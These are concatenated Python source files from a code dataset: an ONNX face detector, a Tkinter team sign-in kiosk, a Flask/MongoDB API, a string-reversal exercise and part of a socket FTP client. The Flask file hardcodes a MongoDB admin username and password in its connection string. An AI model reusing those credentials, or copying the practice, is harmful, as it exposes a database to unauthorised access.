self._create_mtcnn_net(pnet, rnet, onet)\n\n def _create_mtcnn_net(self, pnet=None, rnet=None, onet=None):\n ''' Equip the basenet for detector '''\n self.pnet_detector = None\n self.rnet_detector = None\n self.onet_detector = None\n\n # PNet\n if pnet is not None:\n print(\"[INFO]: Pnet load weight {:}\".format(pnet))\n self.pnet_detector = onnxruntime.InferenceSession(pnet)\n\n # RNet\n if rnet is not None:\n print(\"[INFO]: Rnet load weight {:}\".format(rnet))\n self.rnet_detector = onnxruntime.InferenceSession(rnet)\n\n # ONet\n if onet is not None:\n print(\"[INFO]: Onet load weight {:}\".format(onet))\n self.onet_detector = onnxruntime.InferenceSession(onet)\n\n\n def detect_pnet(self, im):\n \"\"\"Get face candidates through pnet\n\n Parameters:\n ----------\n im: numpy array, input image array, one batch\n\n Returns:\n -------\n boxes: numpy array, detected boxes before calibration\n boxes_align: numpy array, boxes after calibration\n \"\"\"\n h, w, c = im.shape\n net_size = 12\n\n current_scale = float(net_size) / self.min_face_size # scale = 1.0\n im_resized = self.resize_image(im, current_scale)\n current_height, current_width, _ = im_resized.shape\n\n all_boxes = list()\n while current_height >= 40 and current_width >= 40:\n\n feed_imgs = []\n image_tensor = im_resized / 255.0\n image_tensor = np.transpose(image_tensor, (2, 0, 1)).astype(np.float32)\n feed_imgs.append(image_tensor)\n feed_imgs = np.stack(feed_imgs)\n\n #print(\"Pnet:\", feed_imgs.shape)\n cls_map, reg = self.pnet_detector.run(None, {\"input\":feed_imgs}) # CORE, Don't look landmark\n\n boxes = self.generate_bbox(cls_map, reg, current_scale, self.thresh[0])\n\n # generate pyramid images\n current_scale *= self.scale_factor # self.scale_factor = 0.709\n im_resized = self.resize_image(im, current_scale)\n current_height, current_width, _ = im_resized.shape\n\n if boxes.size == 0:\n continue\n\n # non-maximum suppresion\n keep = utils.nms(boxes[:, :5], self.iou_thresh[0], mode='Union')\n boxes = boxes[keep]\n all_boxes.append(boxes)\n\n if len(all_boxes) == 0:\n return None\n\n all_boxes = np.vstack(all_boxes)\n\n keep = utils.nms(all_boxes[:, :5], 0.7, mode='Union')\n all_boxes = all_boxes[keep]\n\n bw = all_boxes[:, 2] - all_boxes[:, 0] + 1\n bh = all_boxes[:, 3] - all_boxes[:, 1] + 1\n\n # all_boxes = [x1, y1, x2, y2, score, reg]\n boxes_c = np.vstack([\n all_boxes[:, 0] + all_boxes[:, 5] * bw,\n all_boxes[:, 1] + all_boxes[:, 6] * bw,\n all_boxes[:, 2] + all_boxes[:, 7] * bw,\n all_boxes[:, 3] + all_boxes[:, 8] * bw,\n all_boxes[:, 4]])\n boxes_c = boxes_c.T\n\n return boxes_c\n\n\n def detect_rnet(self, im, dets):\n \"\"\"Get face candidates using rnet\n\n Parameters:\n ----------\n im: numpy array, input image array\n dets: np.array [[x1, y1, x2, y2, conf]] \n cls_amp = [candidates, 2]\n reg = [candidates, 4]\n Returns:\n -------\n boxes: numpy array, detected boxes before calibration\n boxes_align: numpy array, boxes after calibration\n \"\"\"\n # im: an input image\n h, w, c = im.shape\n\n if dets is None or len(dets) == 0:\n return None\n \n #- pnet conf is not required\n dets = self.square_bbox(dets[:, :4])\n dets[:, 0:4] = np.round(dets[:, 0:4])\n\n [y1, y2, x1, x2, anchor_y1, anchor_y2, \\\n anchor_x1, anchor_x2, box_w, box_h] = self.boundary_check(dets, w, h)\n\n num_boxes = dets.shape[0]\n cropped_ims_tensors = []\n\n for i in range(num_boxes):\n tmp_img = np.zeros((box_h[i], box_w[i], 3), dtype=np.uint8)\n tmp_img[y1[i]:y2[i]+1, x1[i]:x2[i]+1, :] = im[anchor_y1[i]:anchor_y2[i]+1, anchor_x1[i]:anchor_x2[i]+1, :]\n crop_im = cv2.resize(tmp_img, (24, 24))\n crop_im_tensor = (crop_im / 255.0).transpose(2, 0, 1).astype(np.float32)\n cropped_ims_tensors.append(crop_im_tensor)\n\n feed_imgs = np.stack(cropped_ims_tensors)\n cls_map_np, reg_np = self.rnet_detector.run(None, {\"input\":feed_imgs}) # CORE\n\n #- 2d-array indicates for keeping indices\n keep_inds_np = (cls_map_np[:,1] > self.thresh[1]).nonzero()[0].reshape(-1)\n\n if len(keep_inds_np) > 0:\n boxes = dets[keep_inds_np] # NOTE :: det_box from Pnet\n cls = cls_map_np[keep_inds_np]\n reg = reg_np[keep_inds_np]\n else:\n return None\n\n boxes_c = np.hstack((boxes, cls[:,1].reshape(-1,1)))\n keep = utils.nms(boxes_c, self.iou_thresh[1], mode='Minimum')\n\n if len(keep) == 0:\n return None\n \n keep_cls = cls[keep]\n keep_boxes = boxes[keep]\n keep_reg = reg[keep]\n\n bw = keep_boxes[:, 2] - keep_boxes[:, 0] + 1\n bh = keep_boxes[:, 3] - keep_boxes[:, 1] + 1\n\n align_x1 = keep_boxes[:,0] + keep_reg[:,0] * bw\n align_y1 = keep_boxes[:,1] + keep_reg[:,1] * bh\n align_x2 = keep_boxes[:,2] + keep_reg[:,2] * bw\n align_y2 = keep_boxes[:,3] + keep_reg[:,3] * bh\n\n boxes_align = np.vstack([align_x1, align_y1, align_x2, align_y2, keep_cls[:, 1]]).T\n\n return boxes_align\n\n\n def detect_onet(self, im, dets):\n \"\"\"Get face candidates using onet\n\n Parameters:\n ----------\n im: numpy array, input image array\n dets: numpy array, detection results of rnet\n\n Returns:\n -------\n boxes_align: numpy array, boxes after calibration\n landmarks_align: numpy array, landmarks after calibration\n\n \"\"\"\n h, w, c = im.shape\n\n if dets is None or len(dets) == 0:\n return None\n\n dets = self.square_bbox(dets)\n dets[:, 0:4] = np.round(dets[:, 0:4])\n\n [y1, y2, x1, x2, anchor_y1, anchor_y2, \\\n anchor_x1, anchor_x2, box_w, box_h] = self.boundary_check(dets, w, h)\n\n num_boxes = dets.shape[0]\n cropped_ims_tensors = []\n\n for i in range(num_boxes):\n tmp_img = np.zeros((box_h[i], box_w[i], 3), dtype=np.uint8)\n tmp_img[y1[i]:y2[i]+1, x1[i]:x2[i]+1, :] = im[anchor_y1[i]:anchor_y2[i]+1, anchor_x1[i]:anchor_x2[i]+1, :]\n crop_im = cv2.resize(tmp_img, (48, 48))\n crop_im_tensor = (crop_im / 255.0).transpose(2, 0, 1).astype(np.float32)\n cropped_ims_tensors.append(crop_im_tensor)\n\n feed_imgs = np.stack(cropped_ims_tensors)\n\n #print(\"Onet:\", feed_imgs.shape)\n cls_map_np, reg_np = self.onet_detector.run(None, {\"input\":feed_imgs}) # look all\n\n keep_inds_np = (cls_map_np[:,1] > self.thresh[2]).nonzero()[0].reshape(-1)\n \n if len(keep_inds_np) > 0:\n boxes = dets[keep_inds_np]\n cls = cls_map_np[keep_inds_np]\n reg = reg_np[keep_inds_np]\n else:\n return None\n \n boxes_c = np.hstack((boxes, cls[:,1].reshape(-1,1)))\n keep = utils.nms(boxes_c, self.iou_thresh[2], mode=\"Minimum\") \n \n if len(keep) == 0:\n return None\n \n keep_cls = cls[keep]\n keep_boxes = boxes[keep]\n keep_reg = reg[keep]\n\n bw = keep_boxes[:, 2] - keep_boxes[:, 0] + 1.\n bh = keep_boxes[:, 3] - keep_boxes[:, 1] + 1.\n\n align_x1 = keep_boxes[:,0] + keep_reg[:,0] * bw\n align_y1 = keep_boxes[:,1] + keep_reg[:,1] * bh\n align_x2 = keep_boxes[:,2] + keep_reg[:,2] * bw\n align_y2 = keep_boxes[:,3] + keep_reg[:,3] * bh\n\n boxes_align = np.vstack([align_x1, align_y1, align_x2, align_y2, keep_cls[:, 1]]).T\n\n return boxes_align\n\n\n def detect_face(self, img):\n ''' Detect face over image '''\n boxes_align = np.array([])\n\n # pnet\n if self.pnet_detector:\n boxes_align = self.detect_pnet(img) # CORE\n if boxes_align is None:\n return np.array([])\n\n # rnet\n if self.rnet_detector:\n boxes_align = self.detect_rnet(img, boxes_align) # CORE\n if boxes_align is None:\n return np.array([])\n\n # onet\n if self.onet_detector:\n boxes_align = self.detect_onet(img, boxes_align) # CORE\n if boxes_align is None:\n return np.array([])\n\n return boxes_align\n\n\n def square_bbox(self, bbox):\n \"\"\"\n convert bbox to square\n Parameters:\n ----------\n bbox: numpy array , shape n x m\n input bbox\n Returns:\n -------\n a square bbox\n \"\"\"\n\n square_bbox = bbox.copy()\n h = bbox[:, 3] - bbox[:, 1] + 1\n w = bbox[:, 2] - bbox[:, 0] + 1\n l = np.maximum(h, w)\n\n square_bbox[:, 0] = bbox[:, 0] + (w - l) * 0.5\n square_bbox[:, 1] = bbox[:, 1] + (h - l) * 0.5\n square_bbox[:, 2] = square_bbox[:, 0] + l - 1\n square_bbox[:, 3] = square_bbox[:, 1] + l - 1\n\n return square_bbox\n\n #\n ##- modified by bjkim\n def generate_bbox(self, score_map, reg, scale, threshold):\n \"\"\"\n generate bbox from feature map\n Parameters:\n ----------\n score_map : numpy array , n x 2 x m x n, detect score for each position\n reg : numpy array , n x 4 x m x n, bbox\n scale : float number, scale of this detection\n threshold : float number, detect threshold\n Returns:\n ----------\n bbox array\n \"\"\"\n #moving 12x12 widonw with stride 2\n stride = 2\n cell_size = 12\n \n # extract positive probability and resize it as [n, m] dim\n probs = score_map[0, 1, :, :]\n \n # indices of boxes where there is probably a face\n # 2d-array indicates face candidate indices for [n, m]\n inds = np.array((probs > threshold).nonzero()).T\n\n if inds.shape[0] == 0:\n return np.empty((0, 9), dtype=np.int32)\n\n tx1, ty1, tx2, ty2 = [reg[0, i, inds[:,0], inds[:,1]] for i in range(4)]\n\n offsets = np.stack([tx1, ty1, tx2, ty2], 1)\n score = probs[inds[:,0], inds[:, 1]]\n\n bboxes = np.stack([\n np.round((stride * inds[:, 1] + 1.) / scale),\n np.round((stride * inds[:, 0] + 1.) / scale),\n np.round((stride * inds[:, 1] + 1. + cell_size) / scale),\n np.round((stride * inds[:, 0] + 1. + cell_size) / scale),\n score,\n ], 0).T\n \n bboxes = np.hstack((bboxes, offsets)).astype(np.float32)\n\n return bboxes\n\n def resize_image(self, img, scale):\n \"\"\"\n resize image and transform dimention to [batchsize, channel, height, width]\n Parameters:\n ----------\n img: numpy array , height x width x channel, input image, channels in BGR order here\n scale: float number, scale factor of resize operation\n Returns:\n -------\n transformed image tensor , 1 x channel x height x width\n \"\"\"\n height, width, channels = img.shape\n new_height = int(height * scale) # resized new height\n new_width = int(width * scale) # resized new width\n new_dim = (new_width, new_height)\n img_resized = cv2.resize(img, new_dim, interpolation=cv2.INTER_LINEAR) # resized image\n return img_resized\n\n\n def boundary_check(self, bboxes, img_w, img_h):\n \"\"\"\n deal with the boundary-beyond question\n Parameters:\n ----------\n bboxes: numpy array, n x 5, input bboxes\n w: float number, width of the input image\n h: float number, height of the input image\n Returns :\n ------\n x1, y1 : numpy array, n x 1, start point of the bbox in target image\n x2, y2 : numpy array, n x 1, end point of the bbox in target image\n anchor_y1, anchor_x1 : numpy array, n x 1, start point of the bbox in original image\n anchor_x1, anchor_x2 : numpy array, n x 1, end point of the bbox in original image\n box_h, box_w : numpy array, n x 1, height and width of the bbox\n \"\"\"\n\n nbox = bboxes.shape[0]\n\n # width and height\n box_w = (bboxes[:, 2] - bboxes[:, 0] + 1).astype(np.int32)\n box_h = (bboxes[:, 3] - bboxes[:, 1] + 1).astype(np.int32)\n\n x1, y1 = np.zeros((nbox,)), np.zeros((nbox,))\n x2, y2 = box_w.copy() - 1, box_h.copy() - 1\n anchor_x1, anchor_y1 = bboxes[:, 0], bboxes[:, 1],\n anchor_x2, anchor_y2 = bboxes[:, 2], bboxes[:, 3]\n\n idx = np.where(anchor_x2 > img_w - 1)\n x2[idx] = box_w[idx] + img_w - 2 - anchor_x2[idx]\n anchor_x2[idx] = img_w - 1\n\n idx = np.where(anchor_y2 > img_h-1)\n y2[idx] = box_h[idx] + img_h - 2 - anchor_y2[idx]\n anchor_y2[idx] = img_h - 1\n\n idx = np.where(anchor_x1 < 0)\n x1[idx] = 0 - anchor_x1[idx]\n anchor_x1[idx] = 0\n\n idx = np.where(anchor_y1 < 0)\n y1[idx] = 0 - anchor_y1[idx]\n anchor_y1[idx] = 0\n\n return_list = [y1, y2, x1, x2, anchor_y1, anchor_y2, anchor_x1, anchor_x2, box_w, box_h]\n return_list = [item.astype(np.int32) for item in return_list]\n\n return return_list\n\n\n","sub_path":"detlib_onnx/detector/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":14302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"394560489","text":"import os\nimport platform\nimport time\nimport importlib\nfrom datetime import datetime,timedelta\nfrom tkinter import *\n\nimport ioServ\nimport osk\n\nroot = Tk() # main window\nnuWin = None\n\n# *F=frame, *S=scroll, *L=list, *B=button, *T=label, *E=entry\nnameL = infoT = logoImgs = logoL = None\nlogoCurrent = -1 # start on 0, since updateLogo adds 1\n\n#root.config(bg='#000000')\nroot.title('PhyxtGears1720io')\nroot.geometry('800x600') # 1024x768 # set resolution\nif platform.system() != 'Windows' and platform.system() != 'Darwin':\n\troot.attributes('-fullscreen', True)\n'''\nNOTES:\n tabs for each team (FLL and FIRST)\n REORGANIZE IT ALL\n'''\n\nopts = ioServ.loadOpts() # load options from file\n\ntry:\n\tos.mkdir(opts['pathTime'])\nexcept:\n\tpass\n\nioServ.mkfile(opts['usernameFile'])\n\n\t\ndef makeNewUserWindow(): # new user window\n\tglobal root, nuWin\n\n\tnuWin = Toplevel(root) # make window\n\tnuWin.title('Create new user')\n\t#nuWin.geometry('460x160')\n\n\tinputF = Frame(nuWin) # frame for input boxes\n\tbuttnF = Frame(nuWin) # frame for buttons\n\tjobF = Frame(nuWin) # frame for choosing between student and mentor\n\tvkeyF = Frame(nuWin, pady=8) # on screen keyboard frame\n\n\tLabel(inputF, text='Fullname: ', font='Courier 14').grid(sticky=E, padx=2, pady=2)\n\tLabel(inputF, text='Username: ', font='Courier 14').grid(sticky=E, padx=2, pady=2)\n\n\tnuFullE = Entry(inputF, font='Courier 18', width=42) # full name textbox\n\tnuUserE = Entry(inputF, font='Courier 18', width=42) # username textbox\n\n\tdef setVK(choice): # function to set which input box the virtual keyboard puts text in\n\t\tif choice == 1: vkey.attach = nuFullE\n\t\telif choice == 2: vkey.attach = nuUserE\n\tnuFullE.bind('', lambda e: setVK(1))\n\tnuUserE.bind('', lambda e: setVK(2))\n\n\tnuFullE.grid(row=0, column=1)\n\tnuUserE.grid(row=1, column=1)\n\tinputF.pack()\n\n\tnuErrT = Label(nuWin, font='Courier 14', text='', fg='red') # if theres an error with the name (ie name exists or not a real name) show on screen\n\tnuErrT.pack()\n\n\t# the different jobs a member can have, currently only student or mentor\n\tjobOption, j = ['Student','Mentor'], 0\n\tjobChoice = IntVar(); jobChoice.set(0)\n\tfor job in jobOption: # generate an option for every job in jobOption\n\t\tRadiobutton(jobF,text=job,font='Courier 14 bold', variable=jobChoice,value=j).grid(row=0,column=j)\n\t\tj += 1\n\tjobF.pack()\n\n\tdef finishNewUser(): # perform checks on names for when the user is finished\n\t\terrmsg, user, full = 'None', nuUserE.get(), nuFullE.get()\n\n\t\tif user == '' or full == '': errmsg = 'Err: All boxes must be filled'\n\t\telif ioServ.checkNameDB(full): errmsg = 'Err: Fullname already exists.'\n\t\telif ioServ.checkNameDB(user): errmsg = 'Err: Username already exists.'\n\n\t\tif errmsg == 'None':\n\t\t\tioServ.addNameDB(full.title(), user.lower(), jobOption[jobChoice.get()])\n\t\t\trefreshListboxes()\n\t\t\talertWindow(text='Make sure you, '+full.title()+', sign in!', fg='orange')\n\t\t\tnuWin.destroy()\n\t\telse:\n\t\t\tnuErrT.config(text=errmsg, fg='red')\n\n\tfinB = Button(buttnF, text='Create User', font='Courier 14', fg='blue', width=16, command=finishNewUser)\n\tcanB = Button(buttnF, text='Cancel', font='Courier 14', fg='red', width=16, command=nuWin.destroy)\n\tfinB.grid(row=0, column=1)\n\tcanB.grid(row=0, column=0)\n\tbuttnF.pack()\n\n\tvkey = osk.vk(parent=vkeyF, attach=nuFullE) # on screen alphabet keyboard\n\tvkeyF.pack()\n\n\ndef refreshListboxes(n=None): # whenever someone signs in/out or theres a new user\n\tglobal nameL, infoT\n\tif n=='all' or n==None:\n\t\tnameL.delete(0, END)\n\t\tioServ.sortUsernameList()\n\n\t\tnameIO = ''\n\t\ttypeIO = 'N'\n\n\t\tfor line in open(opts['usernameFile']):\n\t\t\tnameIO = line.strip().split('|')[0]\n\t\t\ttry:\n\t\t\t\twith open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'r+') as f:\n\t\t\t\t\ttimeIO = str( min( int(round(ioServ.calcTotalTime(nameIO)/3600,0)), 999 ) )\n\t\t\t\t\ttimeIO = ' '*max(3-len(timeIO),0) + timeIO\n\t\t\t\t\ttypeIO = f.readlines()[-1][0] #iolist.insert(END, f.readlines()[-1][0])\n\t\t\texcept:\n\t\t\t\ttimeIO = ' '\n\t\t\t\ttypeIO = 'N'\n\t\t\tnameL.insert(END, nameIO + ' ' * (35 - len(nameIO)-4) + timeIO + ' ' + typeIO)\n\telif n=='single':\n\t\tselect = nameL.curselection()[0]\n\t\tnameIO = nameL.get(select)[:-5]\n\t\ttypeIO = 'N'\n\t\tnameL.delete(select,select)\n\t\ttry:\n\t\t\twith open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'r+') as f:\n\t\t\t\ttimeIO = str( min( int(round(ioServ.calcTotalTime(nameIO)/3600,0)), 999 ) )\n\t\t\t\ttimeIO = ' '*max(3-len(timeIO),0) + timeIO\n\t\t\t\ttypeIO = f.readlines()[-1][0] #iolist.insert(END, f.readlines()[-1][0])\n\t\texcept:\n\t\t\ttimeIO = ' '\n\t\t\ttypeIO = 'N'\n\t\tnameL.insert(select, nameIO + timeIO + ' ' + typeIO)\n\t\tnameL.see(select+1)\n\n\n\ndef ioSign(c):\n\n\tglobal nameL, infoT\n\tif len(nameL.curselection()) == 0:\n\t\talertWindow(text='Nothing Selected!', fg='orange')\n\t\treturn\n\tnameIO = nameL.get(nameL.curselection()[0])[:-5]\n\ttimeIO = time.strftime(opts['ioForm'])\n\topen(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'a+').close()\n\treadFile = open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'r+')\n\tlines = [line.strip() for line in readFile]\n\n\tif lines:\n\t\ttheNow = datetime.now()\n\t\ttheIOA = datetime.strptime(lines[-1][5:], opts['ioForm'])\n\tautoClocked = False\n\n\tioServ.mkfile(opts['pathTime'] + nameIO.replace(' ', '') + '.txt') # make file if it doesn't exist\n\n\tinTimeFrame = lines and theIOA < theNow < (theIOA.replace(hour=4, minute=30, second=0, microsecond=0) + timedelta(days=1))#theNow.replace(hour=4, minute=30, second=0, microsecond=0)\n\n\telse_var = False\n\tif lines and lines[-1][0] == 'a' and c == 'o' and inTimeFrame:\n\t\t# RECOVERING AUTOCLOCKOUT\n\t\twith open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'w+') as f:\n\t\t\tf.write('\\n'.join(lines[:-1]) + '\\n' + c + ' | ' + timeIO + '\\n')\n\t\t# note for future annoucement system: have annoucements over phone system annoucing the time till autoclockout cutoff\n\t\t# ie: \"it is 4:00am, 1 hour till autoclockout cutoff. please be sure to sign out and sign back in to get the hours.\"\n\t\talertWindow(text=nameIO.split()[0] + ' signed out proper!', fg='Green')\n\telif lines and (lines[-1][0] == c or (lines[-1][0]=='a' and c=='o')):\n\t\t# DOUBLE SIGN IN/OUT\n\t\tif c == 'i':\n\t\t\talertWindow(text=nameIO.split()[0] + ' is already signed in!', fg='orange')\n\t\telif c == 'o':\n\t\t\tif lines[-1][0] == 'o':\n\t\t\t\talertWindow(text=nameIO.split()[0] + ' is already signed out!', fg='orange')\n\t\t\telif lines[-1][0] == 'a':\n\t\t\t\talertWindow(text=nameIO.split()[0] + ' was auto-signed out!', fg='orange')\n\telif not lines and c == 'o':\n\t\t# NEVER SIGNED IN BEFORE\n\t\talertWindow(text=nameIO.split()[0] + ' has never signed in!', fg='orange')\n\telse:\n\t\t# NORMAL SIGN IN/OUT\n\t\telse_var = True\n\t\twith open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'a+') as f:\n\t\t\tf.write(c + ' | ' + timeIO + '\\n')\n\t\thours = str(round(ioServ.calcTotalTime(nameIO.replace(' ', '')) / 3600, 2)) # calculate total time in seconds then convert to hours (rounded 2 dec places)\n\t\tif c == 'i':\n\t\t\talertWindow(text=nameIO.split()[0] + ' signed in! ' + hours + ' hours.', fg='Green')\n\t\telif c == 'o':\n\t\t\talertWindow(text=nameIO.split()[0] + ' signed out! ' + hours + ' hours.', fg='Red')\n\t\t# note for out signio: even if there is an issue one signout, show an error but still log the out. this was robby's idea.\n\n\tif False and not else_var: # disable extra signios until we can agree its needed.\n\t\twith open(opts['pathTime'] + nameIO.replace(' ', '') + '.txt', 'a+') as f:\n\t\t\tf.write(c + ' | ' + timeIO + '\\n')\n\n\treadFile.close()\n\n\trefreshListboxes('single')\n\ndef alertWindow(text='',fg='orange',font='Courier 14 bold'):\n\twind = Toplevel(root) # new window\n\twind.geometry('320x120') # set resolution\n\twind.overrideredirect(1) # make window borderless\n\n\t# add text to window\n\tLabel(wind, text=text,fg=fg,font=font,height=6,wraplength=300,justify=CENTER).place(x=160,y=60,anchor=CENTER)\n\n\twind.after(3000, wind.destroy) # exit window after 3 seconds\n\n\n\ndef confirmQuit(): # quit program window with passcode protection\n\tglobal root, opts\n\tqtWin = Toplevel(root)\n\tqtWin.title('Quit?')\n\tLabel(qtWin, text='Enter AdminPass\\nto quit.', font='Courier 16 bold').pack(pady=2)\n\tpassEntry = Entry(qtWin, font='Courier 14', width=10, show='*')\n\tpassEntry.pack(pady=2)\n\n\tdef areYouSure():\n\t\tif passEntry.get() == opts['adminPass']:\n\t\t\troot.destroy()\n\n\tbuttonF = Frame(qtWin)\n\tquitit = Button(buttonF, text='Quit', font='Courier 14 bold', fg='red', command=areYouSure)\n\tcancit = Button(buttonF, text='Cancel', font='Courier 14 bold', fg='blue', command=qtWin.destroy)\n\tquitit.grid(column=0, row=0)\n\tcancit.grid(column=1, row=0)\n\tbuttonF.pack(pady=2)\n\tvnum = osk.vn(parent=qtWin, attach=passEntry)\n\ndef updateLogo():\n\tglobal logoImgs, logoL, logoCurrent\n\tlogoCurrent += 1\n\tif logoCurrent >= len(logoImgs): logoCurrent = 0\n\tlogoL.config(image=logoImgs[logoCurrent])\n\troot.after(5000,updateLogo)\n\n\ndef main():\n\t# *F = frame, *S = scroll, *L = list, *B = button, *T = text\n\tglobal nameL, infoT, logoImgs, logoL\n\tlistF = Frame(root)\n\tlistS = Scrollbar(listF, orient=VERTICAL)\n\tnameL = Listbox(listF, selectmode=SINGLE, yscrollcommand=listS.set, font='Courier 18')\n\tnameL.config(width=36, height=20)\n\tlistS.config(command=nameL.yview, width=52)\n\n\tform = 'Name hrs ioa'\n\tLabel(listF, text=form, font='Courier 18 bold').pack()\n\tlistS.pack(side=RIGHT, fill=Y)\n\tnameL.pack(side=LEFT, fill=BOTH, expand=1)\n\tlistF.pack(side=LEFT, padx=12)\n\n\tlogoImgs = [PhotoImage(file='assets/1720.gif'),PhotoImage(file='assets/30483.gif'),PhotoImage(file='assets/34416-3.gif')]\n\tLabel(root, text='PhyxtGears1720io', font='Courier 12').pack(pady=4)\n\tlogoL = Label(root, image=logoImgs[0]); logoL.pack()\n\tupdateLogo()\n\n\tioF = Frame(root)\n\tiIOB = Button(ioF, text='IN', font='Courier 16 bold', bg='green', fg='white', command=lambda: ioSign('i'), width=12, height=2)\n\toIOB = Button(ioF, text='OUT', font='Courier 16 bold', bg='red', fg='white', command=lambda: ioSign('o'), width=12, height=2)\n\tinfoT = Label(ioF, text='', font='Courier 16 bold', height=6, wraplength=192, justify=CENTER)\n\tnewB = Button(ioF, text='New User', font='Courier 16 bold', bg='blue', fg='white', command=makeNewUserWindow, width=12, height=2)\n\n\tiIOB.pack(pady=4)\n\toIOB.pack(pady=4)\n\tinfoT.pack()\n\tnewB.pack(pady=4)\n\tioF.pack()\n\n\tButton(text='QUIT', font='Courier 16 bold', height=1, fg='red', command=confirmQuit).pack(side=RIGHT, padx=12)\n\n\trefreshListboxes()\n\n\troot.mainloop()\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"guiType.py","file_name":"guiType.py","file_ext":"py","file_size_in_byte":10363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"632298730","text":"import pymongo\nfrom flask import Flask\nimport json\nfrom flask_cors import CORS\n\n\n\napp = Flask(__name__)\ncors = CORS(app)\nx = ''\n\n@app.before_first_request\ndef before_first_request():\n global x\n mongo = pymongo.MongoClient(\n \"mongodb+srv://gigoAdmin:gigo1234@gigo.azdaq.mongodb.net/gigo?retryWrites=true&w=majority\")\n gigo_DB = mongo[\"gigo\"]\n gigo_COL = gigo_DB[\"locations\"]\n x = gigo_COL.find_one()\n\n\n@app.route('/')\ndef hello_world():\n print(x)\n\n resp = app.response_class(response=json.dumps({\"dict\":x['test']}), status=200, mimetype=\"application/json\")\n return resp\n\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"backend/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"476365329","text":"\"\"\"**Lab 2D: Strings**\n\n**Instructions:**\n\nWrite a program that reverses a user inputted string then outputs the new string, in all uppercase letters.\n\n**Bonus:** Add additional functionality, experiment with other string methods.\n\"\"\"\nuserString = input(\"Please type in a string to be reversed and changed to all caps: \")\n\nmodifiedString = userString[::-1].upper()\n\nprint(modifiedString)","sub_path":"02_Data_Types/lab2d.py","file_name":"lab2d.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"547171397","text":"import os\nimport sys\nimport json\nimport socket\nimport struct\nimport hashlib\n\ncoding = 'utf-8'\naddress = ('127.0.0.1', 9909)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\nclass FTPClient:\n def __init__(self):\n self.socket = socket.socket()\n self.cmds = None\n self.last = 0\n self.md5_local = None\n self.had_size = 0\n\n def conn(self):\n self.socket.connect(address)\n\n def login(self):\n username = input(\"请输入用户名:\").strip()\n passwd = input(\"请输入密码:\").strip()\n return username, passwd\n\n def progress_percent(self, has, total,):\n\n rate = float(has) / float(total)\n rate_num = int(rate * 100)\n\n sys.stdout.write(\"\\r%s%% %s \" % (rate_num, \"#\"*rate_num))\n sys.stdout.flush()\n\n def get(self):\n # 收报头的长度\n obj = self.socket.recv(4)\n if obj.decode('utf-8') == 'None':\n print('文件不存在!')\n return 1\n header_size = struct.unpack('i', obj)[0]\n # 收报头\n header_bytes = self.socket.recv(header_size)\n # 从报头中解析出对真实数据的描述信息\n header_json = header_bytes.decode('utf-8')\n header_dic = json.loads(header_json)\n\n total_size = header_dic['file_size']\n filename = header_dic['filename']\n # 接收真实的数据\n path = BASE_DIR + r'\\download\\%s' % filename\n\n with open(path, 'wb') as f:\n recv_size = 0\n while recv_size < total_size:\n\n line = self.socket.recv(5120)\n # md5验证\n self.md5_local = hashlib.md5()\n self.md5_local.update(line)\n\n f.write(line)\n recv_size += len(line)\n # 进度条\n self.progress_percent(recv_size, total_size)\n print('\\n')\n\n server_md5 = self.socket.recv(5120)\n\n if server_md5.decode('utf-8') != self.md5_local.hexdigest():\n os.remove(path)\n print(\"下载失败!\")\n else:\n print(\"下载成功!\")\n\n def analysis_cmd(self):\n \"\"\"解析命令,上传时用\"\"\"\n file_path = self.cmds[1]\n # 判断文件路径是否合法\n try: # pycharm会自行处理文件路径里的'\\'??\n file_size = os.path.getsize(file_path)\n file_name = file_path.split('\\\\')[-1]\n except OSError:\n print(\"文件路径不正确!\")\n return 0, 0, 0\n return file_size, file_name, file_path\n\n def post(self):\n self.md5_local = hashlib.md5()\n # 获取要上传文件的大小,文件名\n file_size, file_name, file_path = self.analysis_cmd()\n if not file_size:\n self.socket.send('quit'.encode('utf-8'))\n return 1\n # 制作固定长度的报头\n header_dic = {\n 'filename': file_name, # 'filename':'1.mp4'\n 'file_size': file_size\n }\n header_json = json.dumps(header_dic)\n header_bytes = header_json.encode(coding)\n self.socket.send(struct.pack('i', len(header_bytes))) # 发送报头的长度\n self.socket.send(header_bytes) # 发报头\n # 等服务端确认文件是否存在\n server_response = self.socket.recv(5120)\n\n if server_response == \"内存不足\".encode(coding) or server_response == '文件已存在'.encode(coding):\n print(server_response.decode(coding))\n return 1\n elif server_response == \"OK\".encode(coding):\n pass\n else:\n post_last = input(\"是否断点续传?y/Y:\").strip()\n if post_last.lower() == 'y':\n # 收打包的文件大小\n self.had_size = struct.unpack('i', server_response)[0]\n self.socket.send('y'.encode(coding))\n else:\n self.socket.send('n'.encode(coding))\n # 发送真实的数据\n send_size = 0\n with open(file_path, 'rb') as f:\n\n for line in f:\n send_size += len(line)\n if send_size > self.had_size: # 传新内容\n self.socket.send(line)\n self.md5_local.update(line)\n # 进度条\n self.progress_percent(send_size, file_size)\n else:\n self.md5_local.update(line) # 断点续传对于已上传的内容只记录MD5\n print('\\n')\n\n self.md5_local = self.md5_local.hexdigest()\n self.socket.send(self.md5_local.encode('utf-8'))\n # 接收上传结果\n result = self.socket.recv(5120)\n print(result.decode('utf-8'))\n\n def dir(self):\n data = self.socket.recv(5120)\n print(data.decode('gbk'))\n\n def cd(self):\n ret = self.socket.recv(5120)\n print('\\t', ret.decode('utf-8'))\n if ret.decode('utf-8') == \"已经是最高级目录。\" or ret.decode('utf-8') == \"Not Found\":\n self.cd()\n\n def run(self):\n\n self.conn() # 建立连接\n while True:\n user = 